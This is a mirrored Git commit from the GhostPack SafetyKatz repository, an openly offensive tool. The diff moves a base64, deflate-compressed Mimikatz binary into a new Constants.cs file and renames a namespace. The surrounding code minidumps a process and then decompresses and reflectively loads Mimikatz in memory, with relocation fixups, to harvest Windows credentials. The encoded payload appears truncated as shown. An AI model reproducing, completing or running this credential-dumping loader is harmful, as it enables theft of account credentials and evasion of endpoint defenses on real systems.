GhostPack/SafetyKatz
1
0 Fork 0
mirror of https://github.com/GhostPack/SafetyKatz.git synced 2026-11-07 09:26:07 -10:00
Code Issues Packages Projects Releases Wiki Activity

Corrected namedspace, moved compressed Mimikatz .dll into a Constants.cs file.

Browse Source
This commit is contained in:
HarmJ0y committed 2018-08-20 14:25:36 -04:00
1 parent eab4cf8806
commit 715b311f76
3 files changed
+16 -7
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

SafetyKatz/Constants.cs
Executable
+10
View File
@@ -0,0 +1,10 @@
using System;
namespace SafetyKatz
{
public static class Constants
{
// compressed mimikatz.exe output from Out-CompressedDLL
public static string compressedMimikatzString = "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 Line truncated
}
}
SafetyKatz/Program.cs
+5 -7
View File
@@ -5,7 +5,7 @@ using System.IO;
using System.Security.Principal;
using System.IO.Compression;
namespace SharpDump
namespace SafetyKatz
{
class Program
{
@@ -107,11 +107,9 @@ namespace SharpDump
// first minidump the process
Minidump();
// compressed mimikatz.exe output from Out-CompressedDLL
string compressedString = "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 Line truncated
// now decompress the customized Mimikatz binary from Constants.cs
Byte[] unpacked = new byte[628736];
using (MemoryStream inputStream = new MemoryStream(Convert.FromBase64String(compressedString)))
using (MemoryStream inputStream = new MemoryStream(Convert.FromBase64String(Constants.compressedMimikatzString)))
{
using (DeflateStream stream = new DeflateStream(inputStream, CompressionMode.Decompress))
{
@@ -137,7 +135,7 @@ namespace SharpDump
long delta;
delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);
// Modify Memory Based On Relocation Table
IntPtr relocationTable = (IntPtr)((long)(codebase.ToInt64() + (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
@@ -156,7 +154,7 @@ namespace SharpDump
relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
IntPtr dest = (IntPtr)((long)(codebase.ToInt64() + (int)relocationEntry.VirtualAdress));
for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
{
IntPtr patchAddr;
SafetyKatz/SafetyKatz.csproj
+1
View File
@@ -59,6 +59,7 @@
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Constants.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>